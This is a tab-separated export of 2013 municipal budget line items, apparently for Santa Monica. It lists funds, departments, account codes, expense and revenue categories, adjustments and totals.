1705	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	511713.0	MEDICARE-MISC EMPLOYEES	840.0	Salaries and Wages	2013	10356.0	0	0.0	0.0	0	0	0.0	-1038	0.0	0	0	0.0	9318.0
1706	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	400850.0	SWIM CENTER-SMC	612.0	Charges for Service	2013	-345100.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-345100.0
1707	B1	IS	20	Miscellaneous Grants Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	407170.0	LA COUNTY PROP A O&M REIMB	610.0	Intergovernmental	2013	-28260.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-28260.0
1708	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	400660.0	TECHNOLOGY ENHANCEMENT FEE	612.0	Charges for Service	2013	-255000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-255000.0
1709	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511743.0	MEDICAL - MISC. EMPL	810.0	Salaries and Wages	2013	46341.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	46341.0
1710	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511773.0	RETIREMENT - MISC. EMPL	810.0	Salaries and Wages	2013	86306.0	0	0.0	0.0	0	0	0.0	863	0.0	0	0	0.0	87169.0
1711	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		DISABILITY INSURANCE	810.0	Salaries and Wages	2013	3301.0	0	0.0	0.0	0	0	0.0	33	0.0	0	0	0.0	3334.0
1712	B1	IS	19	CDBG Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	400940.0	CDBG CURRENT ALLOCATION	610.0	Intergovernmental	2013	-1027619.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-1027619.0
1713	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522310.0	OFFICE SUPPLIES / EXPENSE		 Supplies and Expenses	2013	5476.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5476.0
1714	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522820.0	CONFERENCES/MEETINGS/TRAVEL	810.0	 Supplies and Expenses	2013	3200.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3200.0
1715	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511746.0	MED TRUST - MISC. EMPL	810.0	Salaries and Wages	2013	5214.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5214.0
1716	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		UNEMPLOYMENT	810.0	Salaries and Wages	2013	1459.0	0	0.0	0.0	0	0	0.0	15	0.0	0	0	0.0	1474.0
1717	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		DISABILITY INSURANCE	810.0	Salaries and Wages	2013	1865.0	0	0.0	-600.0	0	0	0.0	13	0.0	0	0	0.0	1278.0
1718	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	577580.0	BEACH / PIER REIMBURSEMENT	810.0	 Supplies and Expenses	2013	158695.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	158695.0
1719	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	578310.0	POLICE BEACH PATROL	810.0	 Supplies and Expenses	2013	315652.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	315652.0
1720	B1	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	808.0	 Supplies and Expenses	2013	7938.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	7938.0
1721	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	401730.0	LIBRARY CAFE UTILITY REIMBURSE	622.0	Other	2013	-11000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-11000.0
1722	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	246	SUPPORT SERVICES		EAP	804.0	Salaries and Wages	2013	718.0	0	0.0	0.0	0	0	0.0	50	0.0	0	0	0.0	768.0
1723	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	246	SUPPORT SERVICES	544040.0	BOOKS / PAMPHLETS	804.0	 Supplies and Expenses	2013	650.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	650.0
1724	B1	IS	55	Info Tech Rplcmnt & Svcs Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	407250.0	TELECOMMUNICATIONS SERVICES	650.0	Charges for Service	2013	-519697.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-519697.0
1725	B1	IS	30	Pier Fund	620	HOUSING & ECONOMIC DEVELOPMENT	626	PIER DIVISION	402020.0	SM PIER - PARKING LOTS	650.0	Charges for Service	2013	-1459866.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-1459866.0
1726	B1	IS	30	Pier Fund	620	HOUSING & ECONOMIC DEVELOPMENT	626	PIER DIVISION	402550.0	INT DEP / INVESTMENT	659.0	Investment Income	2013	-58000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-58000.0
1727	B1	IS	30	Pier Fund	620	HOUSING & ECONOMIC DEVELOPMENT	626	PIER DIVISION	404610.0	PROMOTIONAL FEES	662.0	Other	2013	-64763.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-64763.0
1728	B1	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE		DISABILITY INSURANCE	804.0	Salaries and Wages	2013	7195.0	0	0.0	163.0	0	0	0.0	74	0.0	0	0	0.0	7432.0
1729	B1	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE	522820.0	CONFERENCES/MEETINGS/TRAVEL	804.0	 Supplies and Expenses	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	0.0
1730	B1	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	804.0	 Supplies and Expenses	2013	19988.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	19988.0
1731	B1	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	511748.0	DENTAL	804.0	Salaries and Wages	2013	3143.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3143.0
1732	B1	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	511774.0	RETIREMENT - AS NEEDED	804.0	Salaries and Wages	2013	767.0	0	0.0	0.0	0	0	0.0	8	0.0	0	0	0.0	775.0
1733	B1	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	533020.0	GENERAL LIABILITY / AUTO	804.0	 Supplies and Expenses	2013	19503.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	19503.0
1734	B1	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS	577970.0	INSURANCE ADMIN	804.0	 Supplies and Expenses	2013	61000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	61000.0
1735	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	566640.0	STATE RECYCLING PROGRAM	808.0	 Supplies and Expenses	2013	44500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	44500.0
1736	B1	IS	53	Parks and Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	514	OPEN SPACE MANAGEMENT	402930.0	UNIT DWELLING TAX	606.0	Other Local Taxes	2013	-25000.0	0	25000.0	0.0	0	0	0.0	0	0.0	0	0	0.0	0.0
1737	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	401900.0	FALSE ALARM	612.0	Charges for Service	2013	-8000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-8000.0
1738	B1	IS	41	Big Blue Bus Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577704.0	PROP A REIMB-BUS STOP/SHELTER		 Supplies and Expenses	2013	-60000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-60000.0
1739	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	511746.0	MED TRUST - MISC. EMPL	816.0	Salaries and Wages	2013	26071.0	0	0.0	0.0	0	0	0.0	2607	0.0	0	0	0.0	28678.0
1740	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	522210.0	UTILITIES - TELEPHONE	816.0	 Supplies and Expenses	2013	2783.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2783.0
1741	B1	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	566880.0	EXPLORER POST	806.0	 Supplies and Expenses	2013	4494.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4494.0
1742	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	407480.0	AIRPORT PARK DROP IN PROGRAM	612.0	Charges for Service	2013	-9585.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-9585.0
1743	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	402130.0	AIRPORT - LAND LEASE	650.0	Charges for Service	2013	-2063297.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-2063297.0
1744	B1	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES		DCAP	804.0	Salaries and Wages	2013	204.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	204.0
1745	B1	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2013	1219.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1219.0
1746	B1	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	522210.0	UTILITIES - TELEPHONE	804.0	 Supplies and Expenses	2013	4613.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4613.0
1747	B1	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2013	27000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	27000.0
1748	B1	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS	511748.0	DENTAL	804.0	Salaries and Wages	2013	10995.0	0	0.0	-222.0	0	0	0.0	0	0.0	0	0	0.0	10773.0
1749	B1	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS		UNEMPLOYMENT	804.0	Salaries and Wages	2013	4627.0	0	0.0	10.0	0	0	0.0	46	0.0	0	0	0.0	4683.0
1750	B1	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS		DCAP	804.0	Salaries and Wages	2013	708.0	0	0.0	-12.0	0	0	0.0	0	0.0	0	0	0.0	696.0
1751	B1	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS	555060.0	PROFESSIONAL SERVICES	804.0	 Supplies and Expenses	2013	72000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	72000.0
1752	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555850.0	PROGRAM SUPPLIES	810.0	 Supplies and Expenses	2013	1500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1500.0
1753	B1	IS	20	Miscellaneous Grants Fund	310	FIRE	312	FIRE - ADMINISTRATION	570230.0	FIRE HERITAGE GRANT	806.0	 Supplies and Expenses	2013	2718.0	0	0.0	-2718.0	0	0	0.0	0	0.0	0	0	0.0	0.0
1754	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING		LIFE INSURANCE & AD & D	816.0	Salaries and Wages	2013	6446.0	0	0.0	0.0	0	0	0.0	499	0.0	0	0	0.0	6945.0
1755	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	555210.0	TRAINING	816.0	 Supplies and Expenses	2013	10000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	10000.0
1756	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	555660.0	ENVIRONMENTAL REIMBURSEMENT	908.0	 Supplies and Expenses	2013	-4141031.0	0	0.0	0.0	0	0	0.0	350135	0.0	0	0	0.0	-3790896.0
1757	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	402950.0	INT DEP / INVESTMENT	659.0	Investment Income	2013	-20000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-20000.0
1758	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	511713.0	MEDICARE-MISC EMPLOYEES		Salaries and Wages	2013	10351.0	0	0.0	0.0	0	0	0.0	-687	0.0	0	0	0.0	9664.0
1759	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT		EAP		Salaries and Wages	2013	835.0	0	0.0	0.0	0	0	0.0	-2	0.0	0	0	0.0	833.0
1760	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	522110.0	UTIL - LIGHT / POWER		 Supplies and Expenses	2013	105509.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	105509.0
1761	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	522510.0	COMMUNITY OUTREACH		 Supplies and Expenses	2013	18870.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	18870.0
1762	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	577220.0	INTRST EXP-BONDS & OTHR LOANS		 Supplies and Expenses	2013	265200.0	0	0.0	0.0	0	0	0.0	264970	0.0	0	0	0.0	530170.0
1763	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	588200.0	BLDG RENOVATION / MAINTENANCE		 Supplies and Expenses	2013	61200.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	61200.0
1764	B1	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	407890.0	POLYSTYRENE BAN	612.0	Charges for Service	2013	-500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-500.0
1765	B1	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON		DISABILITY INSURANCE	804.0	Salaries and Wages	2013	10679.0	0	0.0	-489.0	0	0	0.0	102	0.0	0	0	0.0	10292.0
1766	B1	IS	55	Info Tech Rplcmnt & Svcs Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	402660.0	FUTURE REPLACEMENT	650.0	Charges for Service	2013	-1519711.0	0	0.0	-3914.6	0	0	0.0	0	0.0	0	0	0.0	-1523625.6
1767	B1	IS	30	Pier Fund	620	HOUSING & ECONOMIC DEVELOPMENT	626	PIER DIVISION	401830.0	VENDOR RENT	650.0	Charges for Service	2013	-234116.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-234116.0
1768	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	544040.0	BOOKS / PAMPHLETS	808.0	 Supplies and Expenses	2013	500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	500.0
1769	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	511749.0	VISION	840.0	Salaries and Wages	2013	6120.0	0	0.0	-7.0	0	0	0.0	0	0.0	0	0	0.0	6113.0
1770	B1	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2013	127775.0	0	0.0	-47.0	0	0	0.0	0	0.0	0	0	0.0	127728.0
1771	B1	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2013	3263.0	0	0.0	75.0	0	0	0.0	0	0.0	0	0	0.0	3338.0
1772	B1	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES		EAP	804.0	Salaries and Wages	2013	309.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	309.0
1773	B1	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES		DISABILITY INSURANCE	804.0	Salaries and Wages	2013	2598.0	0	0.0	0.0	0	0	0.0	26	0.0	0	0	0.0	2624.0
1774	B1	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2013	1002052.0	0	0.0	-10519.0	0	0	0.0	9939	0.0	0	0	0.0	1001472.0
1775	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	407060.0	KEC TENANT RENTALS	618.0	Rentals	2013	-122088.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-122088.0
1776	B1	IS	53	Parks and Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	514	OPEN SPACE MANAGEMENT	402950.0	INT DEP / INVESTMENT	616.0	Investment Income	2013	-1000.0	0	1000.0	0.0	0	0	0.0	0	0.0	0	0	0.0	0.0
1777	B1	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	511749.0	VISION		Salaries and Wages	2013	815.0	0	0.0	-7.0	0	0	0.0	0	0.0	0	0	0.0	808.0
1778	B1	IS	20	Miscellaneous Grants Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV	511490.0	OVERTIME	806.0	Salaries and Wages	2013	0.0	0	0.0	52976.0	0	0	0.0	0	0.0	0	0	0.0	52976.0
1779	B1	IS	20	Miscellaneous Grants Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV	511490.0	OVERTIME	806.0	Salaries and Wages	2013	0.0	0	39200.0	0.0	0	0	0.0	0	0.0	0	0	0.0	39200.0
1780	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	407861.0	VENDING MACH SALES-VAP	622.0	Other	2013	-1300.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-1300.0
1781	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING		UNEMPLOYMENT	816.0	Salaries and Wages	2013	8512.0	0	0.0	0.0	0	0	0.0	909	0.0	0	0	0.0	9421.0
1782	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	402120.0	AIRPORT - OFFICE / SHOP RENTAL	650.0	Charges for Service	2013	-606805.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-606805.0
1783	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	511500.0	TEMPORARY EMPLOYEES		Salaries and Wages	2013	17430.0	0	0.0	0.0	0	0	0.0	174	0.0	0	0	0.0	17604.0
1784	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	522160.0	TRANSFER STATION FEE		 Supplies and Expenses	2013	1783.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1783.0
1785	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	522820.0	CONFERENCES/MEETINGS/TRAVEL		 Supplies and Expenses	2013	5775.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5775.0
1786	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	544340.0	INDIRECT COST ALLOCATION		 Supplies and Expenses	2013	435173.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	435173.0
1787	B1	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	400570.0	ADMIN FINES/PENALTIES	614.0	Fines and Forfeitures	2013	-5000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-5000.0
1788	B1	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	511730.0	WORKERS' COMP INSURANCE	804.0	Salaries and Wages	2013	7553.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	7553.0
1789	B1	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON		DCAP	804.0	Salaries and Wages	2013	1140.0	0	0.0	-72.0	0	0	0.0	0	0.0	0	0	0.0	1068.0
1790	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING		LIFE INSURANCE & AD & D	816.0	Salaries and Wages	2013	2498.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2498.0
1791	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT		UNEMPLOYMENT	816.0	Salaries and Wages	2013	6464.0	0	0.0	0.0	0	0	0.0	-569	0.0	121	0	0.0	6016.0
1792	B1	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV		LIFE INSURANCE & AD & D	806.0	Salaries and Wages	2013	3919.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3919.0
1793	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER		DISABILITY INSURANCE	840.0	Salaries and Wages	2013	28659.0	0	0.0	145.0	0	0	0.0	288	0.0	0	0	0.0	29092.0
1794	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING		DISABILITY INSURANCE	808.0	Salaries and Wages	2013	38436.0	0	0.0	489.0	-489	0	0.0	384	0.0	0	0	0.0	38820.0
1795	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER		LIFE INSURANCE & AD & D	840.0	Salaries and Wages	2013	4312.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4312.0
1796	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY		EAP	808.0	Salaries and Wages	2013	518.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	518.0
1797	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE		DCAP	808.0	Salaries and Wages	2013	375.0	0	0.0	0.0	0	0	0.0	9	0.0	0	0	0.0	384.0
1798	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE		EAP	808.0	Salaries and Wages	2013	1769.0	0	0.0	0.0	0	0	0.0	-7	0.0	0	0	0.0	1762.0
1799	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	652	TRANSIT MAINTENANCE		EAP	808.0	Salaries and Wages	2013	4585.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4585.0
1800	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	653	TRANSIT MAINTENANCE		DISABILITY INSURANCE	808.0	Salaries and Wages	2013	6462.0	390	0.0	0.0	0	0	0.0	68	0.0	0	0	0.0	6920.0
1801	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	670	TRANSIT SAFETY & TRAINING		EAP	808.0	Salaries and Wages	2013	413.0	104	0.0	0.0	0	0	0.0	209	0.0	0	0	0.0	726.0
1802	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	670	TRANSIT SAFETY & TRAINING		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2013	535.0	115	0.0	0.0	0	0	0.0	230	0.0	0	0	0.0	880.0
1803	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	511748.0	DENTAL	840.0	Salaries and Wages	2013	7869.0	0	0.0	0.0	0	0	0.0	-947	0.0	0	0	0.0	6922.0
1804	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	511746.0	MED TRUST - MISC EMPL	840.0	Salaries and Wages	2013	29252.0	0	0.0	0.0	0	0	0.0	181	0.0	0	0	0.0	29433.0
1805	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	652	TRANSIT MAINTENANCE	511743.0	MEDICAL - MISC EMPL	840.0	Salaries and Wages	2013	622615.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	622615.0
1806	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	653	TRANSIT MAINTENANCE	511749.0	VISION	840.0	Salaries and Wages	2013	2328.0	137	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2465.0
1807	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	511743.0	MEDICAL - MISC EMPL	840.0	Salaries and Wages	2013	408064.0	-6294	0.0	0.0	0	0	0.0	-29555	0.0	0	0	0.0	372215.0
1808	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	511748.0	DENTAL	840.0	Salaries and Wages	2013	21388.0	-1122	0.0	0.0	0	0	0.0	6678	0.0	0	0	0.0	26944.0
1809	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	670	TRANSIT SAFETY & TRAINING	511749.0	VISION	840.0	Salaries and Wages	2013	541.0	137	0.0	0.0	0	0	0.0	274	0.0	0	0	0.0	952.0
1810	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	655	TRANSIT OPERATIONS	511773.0	RETIREMENT - MISC EMPL	840.0	Salaries and Wages	2013	2917981.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2917981.0
1811	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	670	TRANSIT SAFETY & TRAINING	511773.0	RETIREMENT - MISC EMPL	840.0	Salaries and Wages	2013	57383.0	15383	0.0	0.0	0	0	0.0	30844	0.0	0	0	0.0	103610.0
1812	B1	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	511743.0	MEDICAL - MISC. EMPL	808.0	Salaries and Wages	2013	468999.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	468999.0
1813	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	511743.0	MEDICAL - MISC. EMPL	810.0	Salaries and Wages	2013	79631.0	0	0.0	20000.0	0	0	0.0	9483	0.0	0	0	0.0	109114.0
1814	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	511743.0	MEDICAL - MISC. EMPL	810.0	Salaries and Wages	2013	120104.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	120104.0
1815	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511743.0	MEDICAL - MISC. EMPL	810.0	Salaries and Wages	2013	141364.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	141364.0
1816	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	511746.0	MED TRUST - MISC. EMPL	812.0	Salaries and Wages	2013	21726.0	0	0.0	0.0	0	0	0.0	-1738	0.0	0	0	0.0	19988.0
1817	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	511773.0	RETIREMENT - MISC. EMPL	812.0	Salaries and Wages	2013	198022.0	0	0.0	0.0	0	0	0.0	-12587	0.0	0	0	0.0	185435.0
1818	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	511746.0	MED TRUST - MISC. EMPL	840.0	Salaries and Wages	2013	79723.0	0	0.0	-38.0	0	0	0.0	0	0.0	0	0	0.0	79685.0
1819	B1	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	511748.0	DENTAL	806.0	Salaries and Wages	2013	50475.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	50475.0
1820	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	511749.0	VISION	806.0	Salaries and Wages	2013	2875.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2875.0
1821	B1	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	511748.0	DENTAL	806.0	Salaries and Wages	2013	96599.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	96599.0
1822	B1	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	511748.0	DENTAL	804.0	Salaries and Wages	2013	8236.0	0	0.0	0.0	0	0	0.0	450	0.0	0	0	0.0	8686.0
